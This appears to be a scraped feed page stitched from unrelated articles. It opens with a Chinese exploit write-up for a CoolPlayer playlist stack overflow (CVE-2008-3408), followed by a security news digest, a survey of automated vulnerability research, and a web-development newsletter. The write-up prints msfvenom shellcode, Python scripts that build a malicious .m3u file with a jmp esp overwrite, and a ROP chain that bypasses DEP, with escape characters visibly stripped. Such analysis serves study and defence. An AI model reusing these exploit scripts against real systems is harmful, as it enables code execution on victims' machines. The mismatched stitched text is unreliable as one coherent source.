ReadFile(hFile, pcPlaylistBuffer, dwFileSize, &dwBytesRead, NULL);
// Read in the file line by line
iLastLineStartIDX = 0;
for (iCharIDX = 0; iCharIDX < dwFileSize + 1; iCharIDX++)
{
if ((pcPlaylistBuffer[iCharIDX] == 'r' || pcPlaylistBuffer[iCharIDX] == 'n' || iCharIDX == dwFileSize) && iLastLineStartIDX < iCharIDX)
{
char cBuffer[512];
// Is there a file on this line (strip whitespace from start)
if (sscanf(pcPlaylistBuffer + iLastLineStartIDX, " %512[^rn]", cBuffer) == 1)
{
// Something has been read - ignore lines starting with #
if (cBuffer[0] != '#')
CPL_AddPrefixedFile(hPlaylist, cBuffer, NULL, pcFilename, iPlaylist_VolumeBytes, iPlaylist_DirectoryBytes);
}
// Set the line start for the next line
if (pcPlaylistBuffer[iCharIDX + 1] == 'n')
iCharIDX++;
iLastLineStartIDX = iCharIDX + 1;
}
}
free(pcPlaylistBuffer);
}
CloseHandle(hFile);
}

其中 for 循环,根据列表文件,一次处理一行,由于代码量比较大,并且这块的处理逻辑很重要,我截一个图,再做一些标注,好方便理解。


CoolPlayer bypass DEP(CVE-2008-3408)分析

跟进函数 CPL_AddPrefixedFile

void CPL_AddPrefixedFile(CP_HPLAYLIST hPlaylist,
const char* pcFilename, const char* pcTitle,
const char* pcPlaylistFile,
const unsigned int iPlaylist_VolumeBytes,
const unsigned int iPlaylist_DirBytes)
{
const unsigned int iFile_VolumeBytes = CPL_GetPathVolumeBytes(pcFilename);
// If the file has volume information - add it as it is
if (iFile_VolumeBytes)
CPL_AddSingleFile(hPlaylist, pcFilename, pcTitle);
// If the filename has a leading then add it prepended by the playlist's volume
else if (pcFilename[0] == '\')
{
char cFullPath[MAX_PATH];
memcpy(cFullPath, pcPlaylistFile, iPlaylist_VolumeBytes);
strcpy(cFullPath + iPlaylist_VolumeBytes, pcFilename + 1);
CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle);
}
// Add the filename prepended by the playlist's directory
else
{
char cFullPath[MAX_PATH];
memcpy(cFullPath, pcPlaylistFile, iPlaylist_DirBytes);
strcpy(cFullPath + iPlaylist_DirBytes, pcFilename); // 溢出位置
CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle);
}
}

根据分析,最后执行的会是这里

char cFullPath[MAX_PATH];
memcpy(cFullPath, pcPlaylistFile, iPlaylist_DirBytes);
strcpy(cFullPath + iPlaylist_DirBytes, pcFilename);
CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle);

首先定义绝对路径字符串, MAX_PATH 定义

#ifndef MAX_PATH
#define MAX_PATH 1024
#endif

这里其实 windows 定义了 MAX_PATH ,值为 260 ,具体可以参考 stackoverflow的讨论 ,从 ida 逆向代码也可以验证这个结果,这里也决定了最长长度只要超过 260 ,肯定会导致溢出


CoolPlayer bypass DEP(CVE-2008-3408)分析

第二步,复制目录长度大小的数据到数组中

这步很关键,我在测试中,会将测试的 m3u 放在很多不同的目录下,比如桌面,c盘,导致溢出长度不停的变化,我也没有理解为什么。从源码中,可以发现目录的长度是占用溢出字符空间的!这也就导致了不同目录长度, m3u 文件肯定不同。经过测试, m3u 文件放在c盘根目录,溢出长度正好是 260 。

第三步,将 pcFilename 利用 strcpy 复制到 cFullPath 中,而 cFullPath 是从函数 CPL_AddFile 中读取出来的 cBuffer ,也就是 m3u 中的每行数据。之后

void CPL_AddSingleFile(CP_HPLAYLIST hPlaylist, const char* pcPath, const char* pcTitle)

并不会改变 cFullPath 的数据,到这里栈溢出导致的漏洞原因分析清楚了。

漏洞利用 jmp esp

首先使用 msfvenom 生成 shellcode

root@kali32:~# msfvenom -a x86 --platform windows -p windows/exec cmd=calc -b "x00x0ax0d" -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 284 (iteration=0)
x86/shikata_ga_nai chosen with final size 284
Payload size: 220 bytes
Final size of python file: 1366 bytes
buf = ""
buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b"
buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71"
buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79"
buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e"
buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4"
buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34"
buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf"
buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a"
buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23"
buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73"
buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52"
buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3"
buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c"
buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88"
buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0"
buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66"
buf += "xe3x64x3ex05x62xf7xa2xca"

生成 exploit

dump = 'x41' * 260
EIP = 'x53x93xd2x77' #jmp esp address
buf = ""
buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b"
buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71"
buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79"
buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e"
buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4"
buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34"
buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf"
buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a"
buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23"
buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73"
buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52"
buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3"
buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c"
buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88"
buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0"
buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66"
buf += "xe3x64x3ex05x62xf7xa2xca"
fp = open("jmp_esp.m3u", "w")
fp.write(dump + EIP + buf)
fp.close()

放在c盘下,打开文件测试


CoolPlayer bypass DEP(CVE-2008-3408)分析

shellcode 竟然崩了,用 windbg 检查


CoolPlayer bypass DEP(CVE-2008-3408)分析

在返回前 40c9b6 设下断点,进入 shellcode 调试看看到底哪里出现了问题


CoolPlayer bypass DEP(CVE-2008-3408)分析

shellcode 开始处代码

0:000> u esp
<Unloaded_ud.drv>+0x122203:
00122204 dbda fcmovnu st,st(2)
00122206 d97424f4 fnstenv [esp-0Ch]
0012220a bf2f939d5c mov edi,5C9D932Fh
0012220f 58 pop eax
00122210 2bc9 sub ecx,ecx
00122212 b130 mov cl,30h
00122214 317818 xor dword ptr [eax+18h],edi
00122217 83e8fc sub eax,0FFFFFFFCh

继续调试


CoolPlayer bypass DEP(CVE-2008-3408)分析
可以发现执行完 fnstenv [esp-0Ch] ,原先的 shellcode 指令已经被改写了。

继续执行,出错了


CoolPlayer bypass DEP(CVE-2008-3408)分析

其实这里花了很长时间搞清楚到底怎么回事,因为 shellcode 是通过 msfvenom 生成的,正常情况下,不应该出现这样的问题。 shellcode 竟然将自己的代码空间栈改写了。经过长时间的搜索,发现了问题所在

在这本 书 里,提到了这个问题


CoolPlayer bypass DEP(CVE-2008-3408)分析
大概的意思就是 fnstenv [esp-0Ch] 会改写从 esp-0ch 开始的 28 字节数据,所以为了保证从 esp 开始的数据不被重写,重新生成 exploit 文件 dump = 'x41' * 260
EIP = 'x53x93xd2x77' #jmp esp address
buf = ""
buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b"
buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71"
buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79"
buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e"
buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4"
buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34"
buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf"
buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a"
buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23"
buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73"
buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52"
buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3"
buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c"
buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88"
buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0"
buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66"
buf += "xe3x64x3ex05x62xf7xa2xca"
junk = 'x41' * 20
fp = open("jmp_esp.m3u", "w")
fp.write(dump + EIP + junk + buf)
fp.write(buf)
fp.close()

成功弹窗


CoolPlayer bypass DEP(CVE-2008-3408)分析

这里还有一点需要注意,如果有想使用 MessageBox 弹窗的,并且利用 msfvenom 生成 shellcode ,会造成弹窗失败


CoolPlayer bypass DEP(CVE-2008-3408)分析

可以注意一下 payload 的长度为 284 字节,加上溢出长度 260 字节,总长度是 544 字节,查看源码

if(sscanf(pcPlaylistBuffer + iLastLineStartIDX, " %512[^rn]", cBuffer) == 1) <====
{
// Something has been read - ignore lines starting with #
if(cBuffer[0] != '#')
CPL_AddPrefixedFile(hPlaylist, cBuffer, NULL, pcFilename, iPlaylist_VolumeBytes, iPlaylist_DirectoryBytes);
}

可以看到 cBuffer 最大长度不会超过 512 ,超过的话 shellcode 就会被截断。

测试一下


CoolPlayer bypass DEP(CVE-2008-3408)分析

可以看到 shellcode 确实被截断了。

bypass DEP

利用 SetProcessDepProcy 绕过 DEP

#encoding:utf-8
import struct
dump = 'x90' * 260
ROP = ''
ROP += struct.pack('<L',0x7711ab55) # POP EBX / RET
ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF
ROP += struct.pack('<L',0x5d184ec0) # INC EBX / RET
ROP += struct.pack('<L',0x77119293) # POP EBP / RET
ROP += struct.pack('<L',0x7C862144) # <- SetProcessDEPPolicy
ROP += struct.pack('<L',0x77114aa1) # POP EDI / RET
ROP += struct.pack('<L',0x77d148c0) # RET
ROP += struct.pack('<L',0x77112362) # POP ESI / RET
ROP += struct.pack('<L',0x77d148c0) # RET
ROP += struct.pack('<L',0x77118cf7) # PUSHAD / RET
buf = "xebx14x58xb2xbfx8ax18x32xdax88x18x40x81x38xfdxfdxfdxfdx75xf1xeb"
buf += "x05xe8xe7xffxffxffx43xd7xd5xb5x87xa1xd7xdcx36x6exf0xd7x8dxcbx2e"
buf += "xb3x34x4bx32xc1x4bx8cx64x08xbbx94x5cxd9x04x8cx8dxecxd7xcaxccxda"
buf += "xcdxebx8cx6dxdbx34xe5x8fx34xf4xb3x34xf6xa3x34xb6x34xd6xb7x12x82"
buf += "xd5xb5x87xa1xcaxbax2ax40xe8x47x2axdfx34xfax83x34xf3xbaxc7xbcx72"
buf += "x34xe6x9fxbcx62x8cx40xf8x34x8bx04xbcx4ax26xb0x01xb9x85x7bxcbxb7"
buf += "x7ex75xb8xbcx6fxf9x54x4ex84xebx9bxa3xcax5bx34xe6x9bxbcx62xd9x34"
buf += "x83xc4x34xe6xa3xbcx62xbcx93x04x2axe0x14xe8xdex82xd5xb5x87xa1xca"
buf += "x16x8cx64xecxd7xdbxddxd8xbfxd7xc8xd6xd1xd8x34x7bxecxefxefxecx40"
buf += "xe8x43xecx40xe8x47xfdxfdxfdxfd"
file = open("setdeppolicy_bypass.m3u","w")
file.write(dump + ROP + buf)
file.close()

其中 shellcode 是从网上找的看雪 wingdbg 版主的,因为利用 msfvenom 生成的各种 shellcodde 长度都过长,导致被截断


CoolPlayer bypass DEP(CVE-2008-3408)分析
总结

shellcode 如果出错的话,分析起来会比较难,而且不容易发现出错点,但是感觉收获也会特别大。

由于能力有限,难免会有错误,欢迎批评指正,有改进也非常好。

参考

exploitdb

维基百科

【安全帮】微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑

$
0
0

摘要: 微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑根据上级公安机关“净网安网2018”专项行动有关部署,近日,东莞网警在省公安厅网警总队的统筹指挥,以及腾讯和360公司的大力协助下,24小时内火速侦破“12.05”特大新型勒索病毒破坏计算机信息系统案...

微信支付勒索病毒制造者已被刑拘:年仅 22 岁 感染超 10 万电脑
【安全帮】微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑
根据上级公安机关“净网安网2018”专项行动有关部署,近日,东莞网警在省公安厅网警总队的统筹指挥,以及腾讯和360公司的大力协助下,24小时内火速侦破“12.05”特大新型勒索病毒破坏计算机信息系统案,抓获病毒研发制作者1名,缴获木马程序和作案工具一批。该犯罪嫌疑人涉嫌利用自制病毒木马入侵用户计算机,非法获取淘宝、支付宝、百度网盘、邮箱等各类用户账号、密码数据约5万余条,全网已有超过10万台计算机被感染。该案为国内首宗同类型案件,该案的成功侦破及时阻断了该病毒对全网计算机系统入侵的进一步扩大,有效遏制了病毒进一步传播。

参考来源:

https://www.secrss.com/articles/6939

Kubernetes 被曝严重安全漏洞 严重性评估高达 9.8 分
【安全帮】微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑
近日,Kubernetes 被爆出严重安全漏洞,该漏洞 CVE-2018-1002105(Kubernetes 特权升级漏洞),被确认为严重性 9.8 分(满分 10 分)。具体来说,恶意用户可以使用 KubernetesAPI 服务器连接到后端服务器以发送任意请求,并通过 API 服务器的 TLS 凭证进行身份验证。这一安全漏洞的严重性更在于它可以远程执行,攻击并不复杂,不需要用户交互或特殊权限。更糟糕的是,在 Kubernetes 的默认配置中,允许所有用户(经过身份验证和未经身份验证的用户)执行允许此升级的发现 API 调用。也就是说, 任何了解这个漏洞的人都可以掌控你的 Kubernetes 集群 。

参考来源:

https://www.cnbeta.com/articles/tech/795829.htm

快递主题垃圾邮件在意大利传播 Ursnif 恶意软件变种
【安全帮】微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑
上周,Ursnif恶意软件的一个新变种被发现通过垃圾电子邮件活动向意大利用户发起了攻击。事实上,Yoroi-Cybaze ZLAB成功捕获了几封恶意电子邮件,附件所包含的内容是一个.js文件,在执行后会通过从互联网下载其他组件来启动整个感染链。感染链第一阶段的dropper是一个经过混淆处理的javascript。一旦运行,它会生成大量有噪网络流量,目的是使得对真实恶意基础设施的检测更加困难。在下图中我们可以看到,该脚本包含了一系列看起来像是随机生成的URL,而该脚本会尝试连接到这些URL,并且均会以失败告终,从而在分析环境中生成大量的网络流量噪声。

参考来源:

https://www.secrss.com/articles/6950

美国特勤局将在白宫周边测试面部识别技术
【安全帮】微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑
美国国土安全部公布了一项用于监视白宫周边公共区域的面部识别试点计划后,倡导保护隐私的人士对此表示强烈不满。项目将使用生物识别技术确认各种美国特勤局(USSS)员工的身份,将其与普通公众区别开来。特勤局还表示,白宫周围两个公共场所的选定摄像机的视频流将监控人行道和街道上的个人,然后面部识别机器将筛选出“可疑人员”。这一计划的目标是通过相关实验确定面部识别技术是否可以帮助特勤局尽早发现(危险的)可疑分子以便执法部门尽早发现。

参考来源:

https://www.hackeye.net

谷歌地图 app 不停地弹出垃圾通知消息,中毒了吗?
【安全帮】微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑
谷歌地图app被指弹出垃圾消息通知,要求用户共享地理位置信息以获取免费物品。目前无人知晓原因是什么。安卓和iOS用户收到的谷歌地图推送通知的主题很多,比如“你已从谷歌获得免费礼品”、“你已获得一份免费奖品”、“恭喜您获得一台Pixel”等。当用户点击这些通知时被要求分享位置信息。有不少收到通知的用户都选择直接拦截,但也有一些用户表示,认为这些推送通知是附近商店发的广告,因此选择分享了自己的位置信息,但分享后未收到任何其它信息。这就有点让人不安了,到底为什么要分享位置信息呢?这些通知信息到此出自何处?有些人认为犯罪分子正在借这种方式判断用户是否在家,从而决定是否要入室盗窃;其他人认为它是附近服务的一种,或者可能是为了推销产品。

参考来源:

http://codesafe.cn/index.php?r=news/detail&id=4602

BeatStars 在推特直播中披露安全漏洞事件
【安全帮】微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑
前日,销售音乐制作伴奏的BeatStars市场披露一起安全漏洞事件。 BeatStars 首席执行官安倍白德勋(Abe Batshon )在推特上分享的潜望镜(Periscope )直播中揭露,该网站周一瘫痪竟是源于其服务器遭到无授权访问 。白德勋在周二(即12月4日)的直播中称,“昨晚我们发现了严重异常行为,有人试图入侵我们的服务器,尝试访问数据库并执行代码。” 其团队仍在调查该事件,且已通知有关部门。他还承诺,将更新黑客访问过的内容。 据BeatStars网站线上公布的截图称,目前,该事件已造成网站的大规模受损。

参考来源:

https://www.easyaq.com/news/2051053590.shtml

一个由 20000 多个 WordPress 站点组成的僵尸网络正攻击并感染其他 WordPress 站点
【安全帮】微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑
一个由20000多个WordPress站点组成的僵尸网络正在大肆攻击并感染其他WordPress站点。一旦有新的网站被被攻破,这些网站就也会被添加到僵尸网络中,让它们为攻击者服务。在WordPress安全公司Defiant发布的最新研究中,发现有黑客收集了20000多个WordPress组成一个僵尸网络,黑客让僵尸网络中的机器暴力破解其他的WordPress网站的登入界面。Defiant还表示,通过在它们的Wordfence暴力保护模块和IP黑名单,它们已经阻止了来自大约500多万个暴力破解认证请求。这次暴力攻击的目标是WordPress的xm l-RPC功能,以便暴力遍历用户名和密码组合,直到发现有效的帐户。xm l-RPC功能可以让远程用户通过使用WordPress或其他API将内容远程发布到WordPress站点。该特性主要是由位于WordPress安装根目录的xm lrpc.php文件实现的。

参考来源:

https://nosec.org/home/detail/2041.html

关于安全帮

安全帮,是中国电信北京研究院旗下安全团队,致力于成为“SaaS安全服务领导者”。目前拥有“1+4”产品体系:一个SaaS电商(www.anquanbang.vip) 、四个平台(SDS软件定义安全平台、安全能力开放平台、安全大数据平台、安全态势感知平台)。

相关文章 【安全帮】广州出现“隔空盗刷”案:芯片卡小额免密,被伪装POS机隔包盗刷 【安全帮】英国电信:5G禁止使用华为设备、4G核心网络将移除华为设备 【安全帮】美版“知乎” Quora 遭黑客入侵:1 亿用户数据裸奔 【安全帮】陌陌回应3000万数据被售卖:跟其用户匹配度极低 【安全帮】国产勒索病毒爆发 微信扫码支付作为赎金


【安全帮】微信支付勒索病毒制造者已被刑拘:年仅22岁 感染超10万电脑

漏洞挖掘、利用及修复――从人工到自动的跨越

$
0
0

随着互联网的普及,各类App如雨后春笋般产生。受限于代码质量,App中或多或少的会存在各类漏洞。据统计,CVE(http://cve.mitre.org/)及CNNVD(http://www.cnnvd.org.cn/)能够涵盖的漏洞多达100000个,严重威胁着网络及用户安全。当前,二进制漏洞挖掘主要依靠专业人员的人工审计,从而能够提供准确的漏洞点、漏洞利用及修补方案。


漏洞挖掘、利用及修复――从人工到自动的跨越

然而,人工审计与挖掘存在以下缺陷:

1. 开发团队往往缺少专业的安全人员,不能及时发现漏洞;

2. 面对数量庞大的漏洞,安全人员疲于应对。而自动化漏洞挖掘能够为人工审计提供良好的补充,也更为经济。

那么要构建这样一个自动化漏洞挖掘的系统需要哪些技术呢?下面,我们介绍一些具有代表性的相关技术。

一、自动化漏洞挖掘技术

当我们拿到一个App以后,首要的工作是找到该App中的漏洞点。从被检测程序是否被运行的角度可知,自动化漏洞挖掘技术可分为静态分析、动态分析及混合分析。

1. 静态分析

静态分析,指在不执行程序的条件下对程序进行分析。基于图建模的静态分析是指将程序属性建模为图形,如控制流图,数据流图和程序依赖图等。例如Vine,它是BitBlaze的静态分析组件,它提供了一组用于漏洞挖掘的核心实用程序,利用了控制流图,数据流图和最弱前置条件计算等。基于数据建模的静态分析可通过对内存值等数据进行建模,通过数据的流动、差异性等发现漏洞。例如,Josselin Feist等人提出了一个名为GUEB的静态工具,它使用价值集分析(VSA)来推断赋值中的每个变量,并基于抽象内存模型释放指令,以搜索二进制程序中的释放后使用类型的漏洞。图1所示为典型的静态分析工具IDA。


漏洞挖掘、利用及修复――从人工到自动的跨越

静态分析工具IDA

2. 动态分析

动态分析通过动态监测程序在给定环境中运行时的行为,可以准确地发现异常的发生,从而找出目标程序的漏洞。

模糊测试和动态污点分析是两种典型的动态分析技术。模糊测试是一种黑盒测试的自动化技术,它是向程序发送无效数据的过程,希望触发错误条件或故障以确定是否存在潜在的安全漏洞。模糊测试不需要任何程序分析,因此速度快,可以同时生成多个测试用例,但覆盖范围较小。其中,较为广泛及有代表性的方法包括SAGE、AFL等。

动态污点分析(DTA)于2005年由James Newsome和Dawn Song正式提出。DTA是指在执行时跟踪和分析通过程序的标记信息流。DTA利用TaintCheck验证了可靠性,并被证明可以检测到大多数类型的漏洞。为了提高DTA的适用性和可扩展性,Dytan和TEMU等通用框架被研究人员开发。然而,Schwartz等人指出在实现精准的分析结果上DTA仍面临着两个最基本的挑战,即欠污染和过度污染问题。图2为一种典型的动态分析工具OllyDbg。


漏洞挖掘、利用及修复――从人工到自动的跨越

静态分析工具OllyDbg

3. 混合分析

混合分析几乎被CGC比赛中所有参赛团队使用到,这表明混合分析是一种强有力的方式。DART,CUTE,EXE,KLEE和SAGE都是这个领域的典型代表,Concolic执行则是目前被普遍认为是最先进的技术。它从一些给定或随机输入开始执行一个程序,这些输入作用于条件语句以收集执行中的符号约束,然后使用约束求解器推断出输入的变体,以便将程序的下一次执行转向另一个执行路径,最终可以求解到程序的执行路径。下表对自动化漏洞挖掘技术进行了总结与对比。


漏洞挖掘、利用及修复――从人工到自动的跨越
二、自动化漏洞利用技术

在进行补丁部署过程中,由于经济原因,实际部署的补丁数量有限,选择要修复的漏洞成为一项重大挑战。因此,软件安全中最重要的问题是找到关键的安全性漏洞并尽快修复它们,现有的自动化利用方法可以粗略地分为三类:基于补丁、基于劫持控制流和基于数据的漏洞利用技术。

1. 基于补丁漏洞利用

基于补丁的漏洞利用技术假设程序员可能会重用大量的代码,从而可使用安全补丁探索未被修复的重用代码并利用。越早地访问补丁可能会给攻击者带来好处,其中典型的方法是APEG。APEG由David Brumley等人提出,并且成功地为5个真实世界的漏洞生成了漏洞利用程序。但是从实际的角度来看,APEG只会导致原始程序崩溃,无法直接劫持控制流。

2. 基于劫持控制流量

基于劫持控制流的技术首先被Heelan提出,其中最为经典的方法是由Thanassis提出的AEG。AEG的核心原则主要分为四个步骤:首先,找出漏洞的位置;其次,获取程序的运行时信息,例如堆栈布局信息;第三,基于以上信息生成漏洞利用;最后,验证漏洞。AEG是第一个面向控制流的真正自动化的漏洞利用解决方案。但AEG仍存在一些局限性,例如依赖源代码,漏洞利用样本受编译器以及动态操作环境限制等。

3. 基于数据漏洞利用

基于数据的漏洞利用技术改变了数据流的路径,而不是改变程序的基本控制流。到目前为止,面向数据的攻击鲜为人所知,并且几乎没有相应的防御解决方案。因此,面向数据的漏洞利用技术具有更好的适用性和灵活性。Liang团队提出了一种新技术――数据流拼接,并由FlowStitch工具实现。FlowStitch是第一个用于自动数据导向攻击生成的方案,并且经过验证是可行的。但是它有一些限制,例如必须以至少有一个已知的内存错误作为前提条件。下表对自动化漏洞利用技术进行了总结与对比。

三、自动化漏洞修复技术

早期的自动化补丁技术用于防范蠕虫传播。随着技术的发展,自动化补丁技术慢慢渗透到计算机软件安全的各个方面。

1. 基于运行时状态

基于运行时状态的自动化漏洞修复技术通过比较正常执行流程或采取一些操作在不中断程序的基础上绕过漏洞。例如ClearView是通过自动监测x86系统寄存器和内存的正常执行来修补二进制文件的错误。当出现错误时,ClearView将其与正常运行时的日志进行比较来更正错误。此外,ClearView可以解决内存写入出界的问题和控制流漏洞。

2. 基于检测补丁

基于检测的补丁技术可使用遗传算法来生成补丁修补程序并通过约束求解对漏洞进行修补。例如,GenProg在不需要软件规范、程序注释和其他特殊编码的情况下,利用遗传算法修补漏洞。为了用最小的更改实现对漏洞的修复,其使用结构差分算法和Delta调试技术进一步减小了修补后程序与原有程序的差异。SemFix结合了符号执行、约束求解和程序组合等方法,利用给定的测试用例将需要修补的程序约束成求解式,通过语义分析和动态符号执行来生成补丁。

自动化补丁技术在解决计算机安全问题上已取得很多研究成果,但仍然无法修复所有类型的漏洞,而且对于0day漏洞也没有突破性的进展。如何更好理解程序中的高级语义是自动化补丁技术中的一大难题。下表对自动化漏洞修复技术进行了总结与对比。


漏洞挖掘、利用及修复――从人工到自动的跨越
四、总结

经过对自动化漏洞相关技术的介绍,相信大家已经对自动化漏洞挖掘、利用与修复的原理有了一些了解。之后,我们将对这些技术进行展开介绍,具体分析各类技术在自动化漏洞相关工作的运行机制,有兴趣的读者可提前熟悉一些汇编语言、python相关的知识及IDA、OBJDUMP、GDB、pwntools等工具。

WDRL ― Edition 251: Clear Site Data, Edge will use Chromium, Register you SPA a ...

$
0
0

Hey,

The web gets more complicated every week. With each new feature added to browsers, being explored by security reasearchers and other things, it gets harder for developers to grasp all that. Don’t get me wrong ― it’s not that I dislike all the new features, I really like many of them. But I also realise that many of them are being built for edge-cases, for specific services that need them. The normal developer will never need it and yet, it’s part of their learning curve, part of books, videos and other educational material. It’s hard to stay sane, to not learn everything new as developer. I just want to assure you this week that this is fine. You shouldn’t quit learning new stuff but stay confident that your job will not cease to exist just because you know how to use the latest new javascript Web Sharing API or how to use a new Clear Site-Data header. It’s fine to not know everything ― pick your knowledge wisely. Count on others to help you and have a strategy to learn new things once you really need to use them.

News Microsoft just announced that they change their strategy with Edge : They’re going to use Chromium as browser engine on the Desktop instead of EdgeHTML and might even provide Microsoft Edge for macOS then. They’ll also from now on help development on the Blink engine. Chrome 71 is out and brings relative time support via the Internationalization API and Speech synthesis now requires user activation. Safari Technology Preview 71 is out and brings supported-color-schemes in CSS, and adds Web Authentication as an experimental feature. UI/UX Matthew Strm on the importance of fixing things later, of not being perfect . Security Scott Helme shares information about a new security header that we can make use of: Clear Site Data allows site owners to clear data from cache, (local/session/permanent)storage, or cookies. This could be useful to delete sensitive or private data stored in localStorage or authentication cookies easily. We knowby now that using rel=noopener is a good idea for target=_blank link elements. Now Firefox experiments with automatically substituting rel=noopener in the browser to ensure, the security attack can’t be abused. Web Performance How do WebP image file sizes compare to the best performing JPEG optimizations? Daniel Aleksandersen shows the numbers and concludes that WebP does a pretty amazing job to beat other optimized formats nearly every time. JavaScript In Chrome 71 there’s the new Background Fetch available behind flags and brings the possibiliy of fetching resources like big movies in the background. Pete LePage explains how we can register a service as Share Target with the Web Share Target API . Is it still a good idea to use JavaScript for loading web fonts? Zach Leatherman shares why we should decide case by case today and for most use-cases modern CSS using font-display: swap; is best. CSS Here we go: CSS Environment Variables are coming and here’s why we need it in addition to Custom Properties and why it’s a great idea. Andy Bell explains how we can use CSS Custom Properties to manage flow and rythm in our layout well. A nice example that goes beyond the usage of Custom Properties for color values. Work & Life Sandor Dargo on how he managed to do his job properly again and avoiding distrations during work time .

Last week I has a link to Mozilla’s Privacy Guide ― here it is , the former one was broken.

―Anselm

Viewing all 12749 articles
Browse latest View live